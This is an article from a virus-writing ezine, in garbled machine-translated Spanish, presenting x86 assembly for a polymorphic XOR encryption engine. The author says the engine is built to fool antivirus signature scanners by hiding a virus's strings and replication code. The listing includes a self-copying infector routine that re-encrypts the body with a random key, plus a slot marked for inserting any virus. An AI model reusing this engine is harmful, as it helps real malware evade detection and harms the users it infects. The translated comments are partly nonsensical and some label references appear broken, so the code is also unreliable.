#GEDZAC Mitosis eZine Issue 4
#MITOSIS ARTICLE#
#Dinamica de cifrado en ensamblador
#Autor: VXCoder [GEDZAC] <vxcoder[at]gedzac[dot]com>
Esta tecnología está diseñada para inducir a error a la firma escáneres! Dinámica de encriptación es necesaria para enmascarar cadenas de texto en el virus, así como instrucciones para enmascarar la reproducción. La encriptación se realiza usando sencillo: XOR / INC / DEC / ADD / SUB.
.586
.model flat
.data
crypt_key db 0 ;La clave para cifrar
finish:
dw 700 dup(0) ;Lugar para las versiones codificadas
.code
start_crypt:
call delta_offset ;Obtener Delta-cambio
delta_offset:
pop ebp
sub ebp,offset delta
lea esi,[ebp+en_crypt] ;Cuando desencripten
mov edi,esi
mov ecx,finish-en_crypt ;El numero de bytes cripta
call en_cryption ;Funcion de llamada cripta
jmp en_crypt
en_cryption: ;El procedimiento de cifrado
lodsb ;He descargado el byte en al
xor al,byte ptr[ebp+crypt_key] ;Av T formando su xor
stosb
loop en_cryption ;Deciphered toda la cripta codigo
ret ;retorno del procedimiento
en_crypt:
;.........................................
;
; Aqui puede POMESTIT CCD cualquier virus =)
;
;.........................................
call crypt_infector
crypt_infector:
lea esi,[ebp+start_crypt] ;Cripta no encriptada de su inicio
lea edi,[ebp+finish] ;que descifrar
mov ecx,en_crypt-start_crypt ;el resto del codigo
rep movsb
call range_generator ;Obtener un numero aleatorio
mov byte ptr [ebp+crypt_key],al ;Esta sera la clave
lea esi,[ebp+en_crypt]
lea edi,[ebp+finish] ;Donde poner el codigo cifrado
;no despues de codigo cifrado
add edi,en_crypt-start_crypt
mov ecx,finish-en_crypt ;El numero de bytes a cifrar
call en_cryption ;Comenzar cifrar =)
range_generator:
call delta_offset2 ;Obtener Delta-cambio
delta_offset2: ;Este procedimiento vuelve
pop ebp
sub ebp,offset delta_offset2
push edx ecx ;Este procedimiento devuelve un numero aleatorio
xor edx,edx ;en el rango de 0 ... eax-1
imul eax,eax,100
push eax
call random
pop ecx
div ecx
xchg eax,edx
xor edx,edx
mov ecx,100
div ecx
pop ecx edx
ret ;retorno del procedimiento
random: ;Generador de numeros aleatorios
push edx ecx
db 0fh,031h
rcl eax,2
add eax,123456789h
random_seed = dword ptr $-4
adc eax,esp
xor eax,ecx
xor [ebp+random_seed], eax
add eax,[esp-8]
rcl eax,1
pop ecx edx
ret ;retorno del procedimiento
end start_crypt